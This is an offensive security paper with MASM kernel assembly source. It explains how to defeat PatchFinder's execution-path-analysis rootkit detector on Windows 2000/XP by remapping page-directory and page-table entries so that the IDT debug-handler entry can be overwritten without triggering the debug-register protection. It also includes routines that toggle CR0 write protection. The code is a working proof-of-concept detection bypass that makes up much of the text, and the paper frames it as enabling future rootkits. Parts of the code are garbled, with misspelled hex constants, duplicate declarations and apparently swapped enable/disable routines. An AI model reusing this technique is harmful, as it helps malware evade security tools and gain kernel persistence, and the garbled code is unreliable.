Avoiding Windows Rootkit Detection

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Introduction

PatchFinder is a sophisticated diagnostic utility designed to detect kernel compromises. It is based in EPA (Execution Path Analysis) to detect rootkits.

Read [1] and [2] to full understand how it works. This paper will show a method to circumvent the EPA.

Method

EPA is based in single stepping mode of Intel Architecture using entry number 0x1 of the Interrupt Descriptor Table [IDT]. But, to avoid rootkit to

change that entry, it used the Debug Registers(DR0, DR1) to protect the Debug Handler procedure (very nice idea).




Fig. 0 - EPA protection mechanism.

But, let's read again the Intel Manual [3]:

"Each of the debug-address registers (DR0 through DR3) holds the 32-bit linear address of a breakpoint".

Pay attention: LINEAR ADDRESS! In Windows 2000/XP, is used the PAGING mechanism, wich translate LINEAR address to PHYSICAL address.

Suppose that IDT base address is at 0x8003F400, stored in IDTR. Then, IDT entry number 0x01 is at 0x8003F408.

Intel again about IDTR:

"The base address specifies the LINEAR address of byte 0 of the IDT".

The Page Directory of Windows 2000/XP pointed by CR3 register is mapped at linear address 0xc0300000. Linear address is divided in Directory, Table and Offset. Using the paging mechanism explained in to the manual, we found the PHYSICAL address of 0x8003F408 to be 0x03F00 (value obtained experimentally).

All we need to do now is create a buffer, get the pointer to this buffer and change the PAGE DIRECTORY and PAGE TABLE to make the buffer to point to the PHYSICAL address 0x03F00.

After this, just write to the buffer and you will write in to the IDT without triggering the protection mechanism!!!! Debug Registers are useless to protect memory, because they don't protect PHYSICAL memory.

THE SOURCE CODE

Now comes the source, written for MASM v8.0 I love assembly language programming :-) The complete source is at www.rootkit.com.

```
;--- IDTR structure definition-----
DIDTR STRUCT ;IDTR
dLIMIT WORD ?
ibase DWORD ?
DIDTR ENDS
```

BypassIDTProtection PROC

LOCAL dbgHandler:DWORD

LOCAL myIDT:DIDTR

LOCAL idtbase:DWORD
LOCAL idtbaseoff:DWORD
LOCAL idtPDE:DWORD
LOCAL idtPTE:DWORD
LOCAL idtPTE:DWORD
LOCAL idtPTEaddr:DWORD
LOCAL varbase:DWORD
LOCAL varbaseoff:DWORD
LOCAL varpbe:DWORD
LOCAL varpbe:DWORD

LOCAL varPTEaddr:DWORD
LOCAL diffoffset:DWORD

LOCAL varPTE:DWORD

pushad

;Allocate memory to be PAGE size aligned invoke ExAllocatePool, NonPagedPoolMustSucceed, 01000h mov varbase, eax

```
invoke DisablePageProtection ;for XP, old trick used by Regmon
sidt myIDT
mov eax, myIDT.ibase
add eax, 08h
mov idtbase, eax
                             ;idtbase = IDT base addr + 8 bytes
and eax, OFFC00000h
                             ;Get Directory Index of IDT address
shr eax, 22
shl eax, 2
                                     ;multiply by four
                              ;0c0300000 = PAGE DIRECTORY
mov ebx, 0c0300000h
add ebx, eax
                              ;ebx = [PAGE DIRECTORY + DIR INDEX*4]
mov idtPDEaddr, ebx
mov eax, [ebx]
                             ;eax = PAGE DIRECTORY ENTRY for IDT address
mov idtPDE, eax
mov eax, idtbase
and eax, OFFFh
                             ;Get 12 LSB of IDT address = Offset into PAGE
mov idtbaseoff, eax
mov eax, idtbase
                              ;Get 22 MSB of IDT address
shr eax, 12
shl eax, 2
                              multiply by four
mov ebx, 0c0000000h
                             ;0c0000000 = INIT of PAGE TABLES
add ebx, eax
mov idtPTEaddr, ebx
                             ;address of IDT address PTE
mov eax, [ebx]
mov idtPTE, eax
                             ;value of idt adress PTE
mov eax, varbase
and eax, OFFC00000h
                             ;Get varbase PD index
shr eax, 22
shl eax, 2
mov ebx, 0c030000h
add ebx, eax
mov varPDEaddr, ebx
mov eax, [ebx]
mov varPDE, eax
mov eax, varbase
and eax, OFFFh
mov varbaseoff, eax
mov eax, varbase
shr eax, 12
shl eax, 2
mov ebx, 0c000000h
add ebx, eax
mov varPTEaddr, ebx
mov eax, [ebx]
mov varPTE, eax
mov eax, varPDEaddr
                              ; change Page Directory Entry
                              ;to be the same of IDT 0 \times 01
mov ebx, idtPDE
mov [eax], ebx
mov eax, varPTEaddr
                             ; change Page Table Entry
```

; to be the same of IDT 0x01

```
mov ebx, idtPTE
     mov [eax], ebx
                           ;offset calculations
     mov ebx, idtbaseoff
     mov eax, varbaseoff
     sub ebx, eax
     ; Now we will write in to the IDT 0x1 DESCRIPTOR
     ;using a LINEAR address that don't will
     ;trigger the Debug Registers!
     ;Just a test, it make the entry 0x01 useless.
     mov eax, varbase
     mov dword ptr [eax+ebx], Odeadbeefh
     mov eax, varPDEaddr
                           restore old values;
     mov ebx, varPDE
     mov [eax], ebx
     mov eax, varPTEaddr
                           ;restore old values
     mov ebx, varPTE
     mov [eax], ebx
     invoke EnablePageProtection ;restore WP flag in CRO
     sti
     popad
     ret
BypassIDTProtection ENDP
EnablePageProtection proc
     push eax
     mov eax, CR0
     and eax, OFFFEFFFh
     mov CR0, eax
     pop eax
     ret
EnablePageProtection endp
DisablePageProtection proc
     push eax
     mov eax, CR0
     or eax, NOT OFFFEFFFh
     mov CR0, eax
     pop eax
     ret
DisablePageProtection endp
```

THE FUTURE OF ROOTKITS

Unfortunately, this method makes the EPA to become useless. Until Microsoft don't change his security architecture, none method will stop rootkits in future.

The future rootkits will heavily play with paging mechanism. There are infinite possibilities.

Once time in Ring Zero, forever Ring Zero.

REFERENCES

- [1] Joanna Rutkowska, Advanced Windows 2000 Rootkit Detection
- [2] Joanna Rutkowska, Detecting Windows Server Compromises with PatchFinder2
- [3] IA32 Intel Architeture Softwares Developer's Manual, vol 1-3.